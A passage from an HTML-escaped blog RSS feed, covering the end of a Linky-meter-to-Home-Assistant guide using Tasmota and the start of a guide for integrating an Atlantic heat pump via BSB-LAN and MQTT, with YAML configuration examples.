style="color:#ae81ff"&gt;1&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;],&lt;span style="color:#f92672"&gt;&amp;#34;FLAG&amp;#34;&lt;/span&gt;:&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;,&lt;span style="color:#f92672"&gt;&amp;#34;BASE&amp;#34;&lt;/span&gt;:&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="Tasmota Template Configuration" class="gallery-image" data-flex-basis="298px" data-flex-grow="124" height="283" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/linky-home-assistant-tasmota-tic/image-5.png" width="352"&gt;&lt;/p&gt;
&lt;p&gt;Then the ESP32 will reboot and you should have something like the screenshot below&lt;/p&gt;
&lt;p&gt;&lt;img alt="Tasmota Main Interface" class="gallery-image" data-flex-basis="130px" data-flex-grow="54" height="770" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/linky-home-assistant-tasmota-tic/image-6.png" width="419"&gt;&lt;/p&gt;
&lt;p&gt;Finally, let&amp;rsquo;s configure the Linky mode to standard&lt;/p&gt;
&lt;p&gt;&lt;img alt="Tasmota Console EnergyConfig" class="gallery-image" data-flex-basis="203px" data-flex-grow="84" height="600" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/linky-home-assistant-tasmota-tic/image-7.png" width="509"&gt;&lt;/p&gt;
&lt;p&gt;You should have the following feedback&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plaintext" data-lang="plaintext"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;15:02:17.014 CMD: EnergyConfig standard
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;15:02:17.017 TIC: &amp;#39;standard&amp;#39; mode
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;15:02:17.017 TIC: RX on GPIO23, baudrate 9600
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;15:02:17.019 RSL: RESULT = {&amp;#34;EnergyConfig&amp;#34;:&amp;#34;Done&amp;#34;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="Linky Standard Mode Status" class="gallery-image" data-flex-basis="155px" data-flex-grow="64" height="548" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/linky-home-assistant-tasmota-tic/tasmota-teleinfo-TIC-linky-standard.png" width="354"&gt;&lt;/p&gt;
&lt;p&gt;Then I configure the MQTT parameters to push data to the MQTT broker&lt;/p&gt;
&lt;p&gt;&lt;img alt="MQTT Configuration" class="gallery-image" data-flex-basis="104px" data-flex-grow="43" height="845" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/linky-home-assistant-tasmota-tic/image-8.png" width="368"&gt;&lt;/p&gt;
&lt;h2 id="2---home-assistant"&gt;2 - Home Assistant
&lt;/h2&gt;&lt;h3 id="21---simple-sensors"&gt;2.1 - Simple sensors
&lt;/h3&gt;&lt;p&gt;Integration in Home Assistant is easy.&lt;/p&gt;
&lt;p&gt;Here is an example :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-yaml" data-lang="yaml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;type&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;entities&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;entities&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#f92672"&gt;entity&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;sensor.tasmota_energy_current&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#f92672"&gt;entity&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;sensor.tasmota_energy_voltage&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#f92672"&gt;entity&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;sensor.tasmota_energy_power&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#f92672"&gt;entity&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;sensor.tasmota_energy_today&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#f92672"&gt;entity&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;sensor.tasmota_energy_yesterday&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;With the following result :&lt;/p&gt;
&lt;p&gt;&lt;img alt="Home Assistant Sensors Display" class="gallery-image" data-flex-basis="405px" data-flex-grow="169" height="246" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/linky-home-assistant-tasmota-tic/image-9.png" width="416"&gt;&lt;/p&gt;
&lt;h3 id="22---energy-dashboard"&gt;2.2 - Energy dashboard
&lt;/h3&gt;&lt;p&gt;In order to be able to track cost, we&amp;rsquo;ll create a template doing a copy of indexes and register them with the right properties (device_class, unit..).&lt;/p&gt;
&lt;p&gt;In our configuration we&amp;rsquo;ll have :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-yaml" data-lang="yaml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;template&lt;/span&gt;: !&lt;span style="color:#ae81ff"&gt;include template.yaml&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And in template.yaml we&amp;rsquo;ll have :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-yaml" data-lang="yaml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;sensor&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#f92672"&gt;name&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;heure_creuses&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;state&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;{{ states(&amp;#39;sensor.tasmota_tic_easf01&amp;#39;) }}&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;unit_of_measurement&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;kWh&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;device_class&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;energy&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;state_class&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;total_increasing&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#f92672"&gt;name&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;heure_pleines&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;state&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;{{ states(&amp;#39;sensor.tasmota_tic_easf02&amp;#39;) }}&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;unit_of_measurement&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;kWh&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;device_class&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;energy&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;state_class&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;total_increasing&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Then you should be able to parameter the energy inputs as follow :&lt;/p&gt;
&lt;p&gt;&lt;img alt="Energy Dashboard Configuration" class="gallery-image" data-flex-basis="332px" data-flex-grow="138" height="679" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/linky-home-assistant-tasmota-tic/image-11.png" srcset="https://www.rfontenay.fr/posts/linky-home-assistant-tasmota-tic/image-11_hu_44cf7cf72b08da1b.png 800w, https://www.rfontenay.fr/posts/linky-home-assistant-tasmota-tic/image-11.png 940w" width="940"&gt;&lt;/p&gt;
&lt;p&gt;Then you&amp;rsquo;ll have data displayed.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Energy Usage Graph" class="gallery-image" data-flex-basis="321px" data-flex-grow="133" height="174" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/linky-home-assistant-tasmota-tic/image-12.png" width="233"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="Energy Dashboard Overview" class="gallery-image" data-flex-basis="507px" data-flex-grow="211" height="688" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/linky-home-assistant-tasmota-tic/image-14.png" srcset="https://www.rfontenay.fr/posts/linky-home-assistant-tasmota-tic/image-14_hu_bebca1c76ba59eb2.png 800w, https://www.rfontenay.fr/posts/linky-home-assistant-tasmota-tic/image-14.png 1454w" width="1454"&gt;&lt;/p&gt;
&lt;p&gt;You&amp;rsquo;re done : Linky integration in standard mode with Home Assistant and Tasmota.&lt;/p&gt;</description></item><item><title>Atlantic heat pump integration in home assistant with BSB-LAN</title><link>https://www.rfontenay.fr/posts/heat-pump-integration-home-assistant-bsb-lan/</link><pubDate>Sun, 05 Jan 2025 00:00:00 +0000</pubDate><guid>https://www.rfontenay.fr/posts/heat-pump-integration-home-assistant-bsb-lan/</guid><description>&lt;img src="https://www.rfontenay.fr/posts/heat-pump-integration-home-assistant-bsb-lan/home-assistant-heatpump-bsb-lan.png" alt="Featured image of post Atlantic heat pump integration in home assistant with BSB-LAN" /&gt;&lt;p&gt;In order to get our Atlantic heat pump integration in home assistant, we&amp;rsquo;ll need :&lt;br&gt;
- BSB-LAN running on an ESP32&lt;br&gt;
- MQTT broker up and running on Home Assistant&lt;br&gt;
- Configure BSB-LAN to push data and Home assistant to diplay them.&lt;/p&gt;
&lt;p&gt;Thanks to this configuration, you&amp;rsquo;ll be able to monitor the heat pump data such as compressor activity and sensors. We will be able to control the heat pump using the climate control module of Home Assistant to adjust temperature setpoints.&lt;/p&gt;
&lt;h2 id="hardware--atlantic-heat-pump-and-esp32"&gt;Hardware : Atlantic heat pump and ESP32.
&lt;/h2&gt;&lt;p&gt;The first step the hardware part using an ESP32 with a &lt;a class="link" href="https://github.com/fredlcore/BSB-LAN" target="_blank" rel="noopener"
 &gt;BSB-LAN&lt;/a&gt; hat.&lt;/p&gt;
&lt;p&gt;You will see on the picture below :&lt;br&gt;
- The ESP32 and the BSB-LAN hat mounted on the door&lt;br&gt;
- The wiring on the X86 port of the Atlantic Alfea Extensa Duo heat pump&lt;br&gt;
- A 230V to USB power supply&lt;/p&gt;
&lt;p&gt;&lt;img alt="Hardware installation" class="gallery-image" data-flex-basis="319px" data-flex-grow="133" height="865" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/heat-pump-integration-home-assistant-bsb-lan/image-1.png" srcset="https://www.rfontenay.fr/posts/heat-pump-integration-home-assistant-bsb-lan/image-1_hu_984ca47b0c2fc328.png 800w, https://www.rfontenay.fr/posts/heat-pump-integration-home-assistant-bsb-lan/image-1.png 1153w" width="1153"&gt;&lt;/p&gt;
&lt;h2 id="software--bsb-lan-and-home-assistant"&gt;Software : BSB-LAN and Home Assistant
&lt;/h2&gt;&lt;h3 id="bsb-lan-on-esp32"&gt;BSB LAN on ESP32
&lt;/h3&gt;&lt;p&gt;We&amp;rsquo;ll use a BSB-LAN board with an ESP32. Following the &lt;a class="link" href="https://docs.bsb-lan.de/" target="_blank" rel="noopener"
 &gt;official documentation.&lt;/a&gt; I recommend to follow strictly the documentation in order to get it up and running.&lt;/p&gt;
&lt;p&gt;One BSB-LAN up and running, we&amp;rsquo;ll configure it to send data to Home Assistant MQTT broker.&lt;/p&gt;
&lt;p&gt;&lt;img alt="BSB-LAN MQTT configuration" class="gallery-image" data-flex-basis="851px" data-flex-grow="354" height="297" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/heat-pump-integration-home-assistant-bsb-lan/BSB-LAN-MQTT.png" srcset="https://www.rfontenay.fr/posts/heat-pump-integration-home-assistant-bsb-lan/BSB-LAN-MQTT_hu_b7cbc4a3e1179124.png 800w, https://www.rfontenay.fr/posts/heat-pump-integration-home-assistant-bsb-lan/BSB-LAN-MQTT.png 1054w" width="1054"&gt;&lt;/p&gt;
&lt;h3 id="home-assistant-on-the-server"&gt;Home Assistant on the server
&lt;/h3&gt;&lt;p&gt;On the Home Assistant side, you should :&lt;br&gt;
- Install the MQTT broker add-on&lt;br&gt;
- Configure the MQTT broker&lt;br&gt;
- Check the configuration using MQTT explorer.&lt;/p&gt;
&lt;p&gt;&lt;img alt="MQTT broker setup" class="gallery-image" data-flex-basis="456px" data-flex-grow="190" height="218" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/heat-pump-integration-home-assistant-bsb-lan/image.png" width="415"&gt;&lt;/p&gt;
&lt;p&gt;Once the server is up and running, we can see that BSB-LAN is pushing data to the MQTT broker using MQTT explorer :&lt;/p&gt;
&lt;p&gt;&lt;img alt="MQTT explorer data" class="gallery-image" data-flex-basis="155px" data-flex-grow="64" height="497" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/heat-pump-integration-home-assistant-bsb-lan/image-2.png" width="323"&gt;&lt;/p&gt;
&lt;p&gt;And then you can configure a nice dashboard such as the following one.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Home Assistant Dashboard" class="gallery-image" data-flex-basis="463px" data-flex-grow="192" height="780" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/heat-pump-integration-home-assistant-bsb-lan/BSB-LAN-homeassistant-dashboard.png" srcset="https://www.rfontenay.fr/posts/heat-pump-integration-home-assistant-bsb-lan/BSB-LAN-homeassistant-dashboard_hu_78cefefafb40ccc8.png 800w, https://www.rfontenay.fr/posts/heat-pump-integration-home-assistant-bsb-lan/BSB-LAN-homeassistant-dashboard.png 1505w" width="1505"&gt;&lt;/p&gt;
&lt;p&gt;For this dashboard, here is my configuration :&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Configuration.yaml&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-yaml" data-lang="yaml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;mqtt&lt;/span&gt;: !&lt;span style="color:#ae81ff"&gt;include mqtt.yaml&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;mqtt.yaml&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-yaml" data-lang="yaml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;climate&lt;/span&gt;: !&lt;span style="color:#ae81ff"&gt;include mqtt_climate.yaml&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;sensor&lt;/span&gt;: !&lt;span style="color:#ae81ff"&gt;include mqtt_sensor.yaml&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;number&lt;/span&gt;: !&lt;span style="color:#ae81ff"&gt;include mqtt_number.yaml&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;binary_sensor&lt;/span&gt;: !&lt;span style="color:#ae81ff"&gt;include mqtt_binary_sensor.yaml&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;mqtt_climate.yaml&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-yaml" data-lang="yaml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;- &lt;span style="color:#f92672"&gt;name&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Rez-de-chaussée&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;unique_id&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;bsb_lan_700&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;payload_on&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;1&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;payload_off&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;0&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;modes&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#ae81ff"&gt;auto&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#ae81ff"&gt;heat&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#ae81ff"&gt;cool&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#e6db74"&gt;&amp;#34;off&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;mode_state_topic&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;BSB-LAN/700&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;mode_state_template&lt;/span&gt;: &amp;gt;-&lt;span style="color:#e6db74"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; {% set values = { &amp;#39;0 - Protection&amp;#39;:&amp;#39;off&amp;#39;, &amp;#39;1 - Automatic&amp;#39;:&amp;#39;auto&amp;#39;, &amp;#39;2 - Reduced&amp;#39;:&amp;#39;cool&amp;#39;, &amp;#39;3 - Comfort&amp;#39;:&amp;#39;heat&amp;#39;} %}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; {{ values[value] if value in values.keys() else &amp;#39;off&amp;#39; }}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;mode_command_topic&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;BSB-LAN&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;mode_command_template&lt;/span&gt;: &amp;gt;-&lt;span style="color:#e6db74"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; {% set values = { &amp;#39;off&amp;#39;:&amp;#39;S700=0&amp;#39;, &amp;#39;auto&amp;#39;:&amp;#39;S700=1&amp;#39;, &amp;#39;cool&amp;#39;:&amp;#39;S700=2&amp;#39;, &amp;#39;heat&amp;#39;:&amp;#39;S700=3&amp;#39;} %}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; {{ values[value] if value in values.keys() else &amp;#39;0&amp;#39; }}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;current_temperature_topic&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;BSB-LAN/8740&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;min_temp&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;17&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;max_temp&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;24&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;temp_step&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;0.5&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;temperature_high_command_topic&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;BSB-LAN&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;temperature_high_command_template&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;{{&amp;#39;S710=&amp;#39;+ (value | string)}}&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;temperature_high_state_topic&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;BSB-LAN/710&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;temperature_low_command_topic&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;BSB-LAN&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;temperature_low_command_template&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;{{&amp;#39;S712=&amp;#39;+ (value | string)}}&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;temperature_low_state_topic&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;BSB-LAN/712&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;qos&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;- &lt;span style="color:#f92672"&gt;name&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Etage&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;unique_id&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;bsb_lan_mode_719&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;payload_on&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;1&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;payload_off&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;0&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;modes&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#ae81ff"&gt;auto&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#ae81ff"&gt;heat&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#ae81ff"&gt;cool&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#e6db74"&gt;&amp;#34;off&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;mode_state_topic&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;BSB-LAN/1000&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;mode_state_template&lt;/span&gt;: &amp;gt;-&lt;span style="color:#e6db74"&gt;
